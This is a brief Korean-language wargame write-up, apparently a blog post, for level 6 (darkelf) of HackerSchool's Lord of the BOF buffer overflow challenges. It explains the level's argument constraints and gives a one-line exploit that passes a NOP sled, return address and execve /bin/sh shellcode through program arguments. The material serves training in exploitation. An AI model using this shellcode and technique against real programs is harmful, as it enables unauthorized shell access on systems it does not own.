WarGame/HackerSchool_LOB
HackerSchool LOB Level6
_cham
2014. 7. 29. 03:41
6번문제 소스를 보자
우선 5번문제와 다른 점은
argument1의 48번째 바이트가 \xbf여야 하고,
길이가 48보다 커지면 종료된다.
결국, 내가 하던 5번문제와도 똑같다.
argument2 를 사용하여 풀면 된다.
./darkelf `python -c 'print "\x90"*44+"\x08\xfc\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*50'`